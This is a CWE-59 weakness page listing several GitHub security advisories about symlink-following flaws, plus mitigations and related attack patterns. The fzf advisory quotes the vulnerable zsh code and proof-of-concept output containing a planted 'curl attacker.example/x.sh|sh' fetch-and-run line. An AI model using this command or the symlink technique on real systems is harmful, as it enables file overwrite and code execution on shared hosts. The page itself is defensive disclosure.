CWE-59
Weakness AllowedImproper Link Resolution Before File Access
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Theoretical
Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.
Some potential factors are race conditions, permissions, and predictability.
Content history
updated Time_of_Introduction
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
updated Relationships, Taxonomy_Mappings
updated Relationships
updated Description, Name
updated Background_Details, Other_Notes
updated Potential_Mitigations, Relationships
updated Related_Attack_Patterns
updated Common_Consequences
updated Relationships, Taxonomy_Mappings
updated Common_Consequences, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Common_Consequences, Other_Notes
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
updated Taxonomy_Mappings
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Research_Gaps
updated Relationships
updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes
updated Description
updated Relationships
updated Mapping_Notes
updated Detection_Factors, References
updated Applicable_Platforms, Relationships
updated Alternate_Terms, Name, Observed_Examples
2742 vulnerabilities reference this CWE, most recent first.
GHSA-7QPH-CM45-5V3V
Vulnerability from github – Published: 2026-09-08 18:32 – Updated: 2026-09-08 18:32Improper link resolution before file access ('link following') in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to disclose information locally.
{
"affected": [],
"aliases": [
"CVE-2026-68830"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T18:18:29Z",
"severity": "MODERATE"
},
"details": "Improper link resolution before file access (\u0027link following\u0027) in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to disclose information locally.",
"id": "GHSA-7qph-cm45-5v3v",
"modified": "2026-09-08T18:32:13Z",
"published": "2026-09-08T18:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68830"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68830"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7QQW-C68V-V94G
Vulnerability from github – Published: 2022-05-17 02:18 – Updated: 2022-05-17 02:18ogle 0.9.2 and ogle-mmx 0.9.2 allow local users to overwrite arbitrary files via a symlink attack on (a) /tmp/ogle_audio.#####, (b) /tmp/ogle_cli.#####, (c) /tmp/ogle_ctrl.#####, (d) /tmp/ogle_gui.#####, (e) /tmp/ogle_mpeg_ps.#####, (f) /tmp/ogle_mpeg_vs.#####, (g) /tmp/ogle_nav.#####, and (h) /tmp/ogle_vout.#####, temporary files, related to the (1) ogle_audio_debug, (2) ogle_cli_debug, (3) ogle_ctrl_debug, (4) ogle_gui_debug, (5) ogle_mpeg_ps_debug, (6) ogle_mpeg_vs_debug, (7) ogle_nav_debug, and (8) ogle_vout_debug scripts.
{
"affected": [],
"aliases": [
"CVE-2008-4976"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-11-06T15:55:00Z",
"severity": "MODERATE"
},
"details": "ogle 0.9.2 and ogle-mmx 0.9.2 allow local users to overwrite arbitrary files via a symlink attack on (a) /tmp/ogle_audio.#####, (b) /tmp/ogle_cli.#####, (c) /tmp/ogle_ctrl.#####, (d) /tmp/ogle_gui.#####, (e) /tmp/ogle_mpeg_ps.#####, (f) /tmp/ogle_mpeg_vs.#####, (g) /tmp/ogle_nav.#####, and (h) /tmp/ogle_vout.#####, temporary files, related to the (1) ogle_audio_debug, (2) ogle_cli_debug, (3) ogle_ctrl_debug, (4) ogle_gui_debug, (5) ogle_mpeg_ps_debug, (6) ogle_mpeg_vs_debug, (7) ogle_nav_debug, and (8) ogle_vout_debug scripts.",
"id": "GHSA-7qqw-c68v-v94g",
"modified": "2022-05-17T02:18:28Z",
"published": "2022-05-17T02:18:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4976"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44832"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/496420"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/496425"
},
{
"type": "WEB",
"url": "http://dev.gentoo.org/~rbu/security/debiantemp/ogle"
},
{
"type": "WEB",
"url": "http://dev.gentoo.org/~rbu/security/debiantemp/ogle-mmx"
},
{
"type": "WEB",
"url": "http://uvw.ru/report.lenny.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30926"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7QR2-RW3M-88WX
Vulnerability from github – Published: 2026-04-15 15:31 – Updated: 2026-04-15 15:31During an internal security assessment, a potential vulnerability was discovered in Lenovo Software Fix, that during installation could allow a local authenticated user to perform an arbitrary file write with elevated privileges.
{
"affected": [],
"aliases": [
"CVE-2026-4135"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-15T13:16:24Z",
"severity": "MODERATE"
},
"details": "During an internal security assessment, a potential vulnerability was discovered in Lenovo Software Fix, that during installation could allow a local authenticated user to perform an arbitrary file write with elevated privileges.",
"id": "GHSA-7qr2-rw3m-88wx",
"modified": "2026-04-15T15:31:43Z",
"published": "2026-04-15T15:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4135"
},
{
"type": "WEB",
"url": "https://support.lenovo.com/us/en/product_security/LEN-213829"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7QVH-759W-PP96
Vulnerability from github – Published: 2022-05-02 00:11 – Updated: 2022-05-02 00:11fence_manual, as used in fence 2.02.00-r1 and possibly cman, allows local users to modify arbitrary files via a symlink attack on the fence_manual.fifo temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-4580"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-10-15T20:08:00Z",
"severity": "HIGH"
},
"details": "fence_manual, as used in fence 2.02.00-r1 and possibly cman, allows local users to modify arbitrary files via a symlink attack on the fence_manual.fifo temporary file.",
"id": "GHSA-7qvh-759w-pp96",
"modified": "2022-05-02T00:11:23Z",
"published": "2022-05-02T00:11:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4580"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2008-4580"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=467387"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45953"
},
{
"type": "WEB",
"url": "http://bugs.gentoo.org/show_bug.cgi?id=240576"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/13/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/16/1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-875-1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7R4R-6PPG-7FF8
Vulnerability from github – Published: 2026-11-13 12:31 – Updated: 2026-11-13 20:54Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-qg35-44qx-7vrr. This link is maintained to preserve external references.
Original Description
NLTK from 3.10.0 before 3.10.4 contains a symlink escape vulnerability in YCOECorpusReader that allows attackers to read files outside the corpus root by planting psd or pos directory symlinks. Attackers controlling a YCOE corpus can make parsed_sents() and tagged_words() return file content from other corpora or temporary files within the NLTK data sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 3.10.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-13T20:54:33Z",
"nvd_published_at": "2026-11-13T10:17:35Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-qg35-44qx-7vrr. This link is maintained to preserve external references.\n\n## Original Description\nNLTK from 3.10.0 before 3.10.4 contains a symlink escape vulnerability in YCOECorpusReader that allows attackers to read files outside the corpus root by planting psd or pos directory symlinks. Attackers controlling a YCOE corpus can make parsed_sents() and tagged_words() return file content from other corpora or temporary files within the NLTK data sandbox.",
"id": "GHSA-7r4r-6ppg-7ff8",
"modified": "2026-11-13T20:54:33Z",
"published": "2026-11-13T12:31:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-qg35-44qx-7vrr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-126304"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-3.10.0-before-3.10.4-symlink-escape-in-ycoecorpusreader"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Symlink escape in YCOECorpusReader lets a psd/pos directory symlink read files outside the corpus root within the data sandbox",
"withdrawn": "2026-11-13T20:54:33Z"
}
GHSA-7R76-9RWV-Q8JP
Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2022-05-14 02:59The scheme48-send-definition function in cmuscheme48.el in Scheme 48 allows local users to write to arbitrary files via a symlink attack on /tmp/s48lose.tmp.
{
"affected": [],
"aliases": [
"CVE-2014-4150"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-20T17:29:00Z",
"severity": "MODERATE"
},
"details": "The scheme48-send-definition function in cmuscheme48.el in Scheme 48 allows local users to write to arbitrary files via a symlink attack on /tmp/s48lose.tmp.",
"id": "GHSA-7r76-9rwv-q8jp",
"modified": "2022-05-14T02:59:17Z",
"published": "2022-05-14T02:59:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4150"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=748766"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/06/13/5"
},
{
"type": "WEB",
"url": "http://www.s48.org/cgi-bin/hgwebdir.cgi/s48/rev/a44624256297"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/67654"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7RJ6-7PQX-V7RM
Vulnerability from github – Published: 2026-11-19 22:43 – Updated: 2026-11-19 22:43Summary
shell/completion.zsh feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared /tmp (fzf-complete-fifo-$$), without checking the failure of rm -f/mkfifo. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. ~/.bashrc), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in ps output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.
Reporter / Credits:
Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/
Details
shell/completion.zsh (tag 0.74.4, commit a140afeb):
- line ~246:
fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$"— predictable name; shell PIDs are low/guessable and a wide range can be pre-created. - lines 216-220, verbatim:
_fzf_feed_fifo() {
command rm -f "$1" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored
mkfifo "$1" # fails (EEXIST) — exit status unchecked
cat <&0 > "$1" &| # follows the attacker symlink / blocks on the attacker FIFO
}
Attack modes (no race required):
- File clobber → code execution:
> "$1"follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file. - Information leak / hang: a pre-created plain FIFO makes the victim's
catblock until the attacker reads the stream (fullpsoutput, host lists, variable names).
PoC
Mechanism verified with the function extracted byte-for-byte from shell/completion.zsh (only &| → &, a syntax port irrelevant to the flaw), reproducing the cross-user /tmp precondition via an entry the victim cannot remove (identical to sticky /tmp semantics for an attacker-owned entry):
rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied
mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists
=== victim file AFTER the victim's completion ran ===
evil-process; curl attacker.example/x.sh|sh; :
other-stream-data
The file was overwritten despite both rm and mkfifo failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).
Impact
Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (kill/ssh/telnet/export/unset/unalias **<TAB>) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private mktemp -d directory (mode 700) and check mkfifo's exit status, removing the rm-then-mkfifo TOCTOU entirely.
Reported privately to the maintainer by email; fix prepared for the next release.
Exploitability in practice
On a default modern host the file-overwrite variant is blocked by fs.protected_symlinks (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.74.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/junegunn/fzf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.74.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-121717"
],
"database_specific": {
"cwe_ids": [
"CWE-377",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T22:43:12Z",
"nvd_published_at": "2026-11-17T20:17:36Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim\u0027s own completion to overwrite it with the completion stream \u2014 with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim\u0027s next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.\n\n### Reporter / Credits:\nSai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/\n\n### Details\n\n`shell/completion.zsh` (tag 0.74.4, commit a140afeb):\n\n- line ~246: `fifo=\"${TMPDIR:-/tmp}/fzf-complete-fifo-$$\"` \u2014 predictable name; shell PIDs are low/guessable and a wide range can be pre-created.\n- lines 216-220, verbatim:\n\n```zsh\n_fzf_feed_fifo() {\n command rm -f \"$1\" # fails (EPERM) on an attacker-owned entry in sticky /tmp \u2014 error ignored\n mkfifo \"$1\" # fails (EEXIST) \u2014 exit status unchecked\n cat \u003c\u00260 \u003e \"$1\" \u0026| # follows the attacker symlink / blocks on the attacker FIFO\n}\n```\n\nAttack modes (no race required):\n\n1. **File clobber \u2192 code execution:** `\u003e \"$1\"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim\u0027s privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim\u0027s startup file.\n2. **Information leak / hang:** a pre-created plain FIFO makes the victim\u0027s `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names).\n\n### PoC\n\nMechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `\u0026|` \u2192 `\u0026`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry):\n\n```console\nrm: cannot remove \u0027.../fzf-complete-fifo-4242\u0027: Permission denied\nmkfifo: cannot create fifo \u0027.../fzf-complete-fifo-4242\u0027: File exists\n\n=== victim file AFTER the victim\u0027s completion ran ===\nevil-process; curl attacker.example/x.sh|sh; :\nother-stream-data\n```\n\nThe file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).\n\n### Impact\n\nLocal (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **\u003cTAB\u003e`) on a host shared with an attacker risks silent overwrite of arbitrary user files (\u2192 code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`\u0027s exit status, removing the rm-then-mkfifo TOCTOU entirely.\n\nReported privately to the maintainer by email; fix prepared for the next release.\n\n### Exploitability in practice\n\nOn a default modern host the file-overwrite variant is blocked by `fs.protected_symlinks` (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the \"code execution at next login\" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.",
"id": "GHSA-7rj6-7pqx-v7rm",
"modified": "2026-11-19T22:43:12Z",
"published": "2026-11-19T22:43:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-121717"
},
{
"type": "WEB",
"url": "https://github.com/junegunn/fzf/commit/cbc11e4d9591e1fa47fb9d8711b18b74d625746e"
},
{
"type": "PACKAGE",
"url": "https://github.com/junegunn/fzf"
},
{
"type": "WEB",
"url": "https://github.com/junegunn/fzf/releases/tag/v0.74.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)"
}
GHSA-7V6R-J56Q-H4MX
Vulnerability from github – Published: 2022-05-17 02:18 – Updated: 2022-05-17 02:18runiozone in lustre 1.6.5 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/iozone.log temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-4970"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-11-06T15:55:00Z",
"severity": "MODERATE"
},
"details": "runiozone in lustre 1.6.5 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/iozone.log temporary file.",
"id": "GHSA-7v6r-j56q-h4mx",
"modified": "2022-05-17T02:18:31Z",
"published": "2022-05-17T02:18:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4970"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44819"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/496371"
},
{
"type": "WEB",
"url": "http://dev.gentoo.org/~rbu/security/debiantemp/lustre-tests"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30911"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7V7J-PMCF-62V5
Vulnerability from github – Published: 2026-10-11 15:31 – Updated: 2026-10-11 15:31answer-me-with-html through 0.5.0 contains a link following vulnerability in the am CLI code block src= embedding, where localPath() checks only path text without resolving symlinks. Attackers can ship a repository with a symlink pointing outside the checkout so am render embeds readable external files into generated HTML, disclosing them when shared.
{
"affected": [],
"aliases": [
"CVE-2026-108723"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-11T13:17:15Z",
"severity": "LOW"
},
"details": "answer-me-with-html through 0.5.0 contains a link following vulnerability in the am CLI code block src= embedding, where localPath() checks only path text without resolving symlinks. Attackers can ship a repository with a symlink pointing outside the checkout so am render embeds readable external files into generated HTML, disclosing them when shared.",
"id": "GHSA-7v7j-pmcf-62v5",
"modified": "2026-10-11T15:31:03Z",
"published": "2026-10-11T15:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108723"
},
{
"type": "WEB",
"url": "https://github.com/QingYunA/answer-me-with-html"
},
{
"type": "WEB",
"url": "https://github.com/QingYunA/answer-me-with-html/blob/b275eba8d4cc49bcb4bbc28459863f4b49a480f9/src/code.js#L74-L105"
},
{
"type": "WEB",
"url": "https://hackmd.io/@haind/answer-me-with-html-code-src-symlink-escape"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/answer-me-with-html-through-0.5.0-symlink-following-in-code-block-src-embedding"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7V8P-8PXW-6C4G
Vulnerability from github – Published: 2023-03-13 15:30 – Updated: 2023-03-22 21:30McAfee Total Protection prior to 16.0.50 allows attackers to elevate user privileges due to Improper Link Resolution via registry keys. This could enable a user with lower privileges to execute unauthorized tasks.
{
"affected": [],
"aliases": [
"CVE-2023-24577"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-13T13:15:00Z",
"severity": "MODERATE"
},
"details": "McAfee Total Protection prior to 16.0.50 allows attackers to elevate user privileges due to Improper Link Resolution via registry keys. This could enable a user with lower privileges to execute unauthorized tasks.",
"id": "GHSA-7v8p-8pxw-6c4g",
"modified": "2023-03-22T21:30:17Z",
"published": "2023-03-13T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24577"
},
{
"type": "WEB",
"url": "https://www.mcafee.com/en-us/consumer-corporate/mcafee-labs/product-security-bulletins.html"
},
{
"type": "WEB",
"url": "https://www.mcafee.com/support/?articleId=TS103397\u0026page=shell\u0026shell=article-view"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.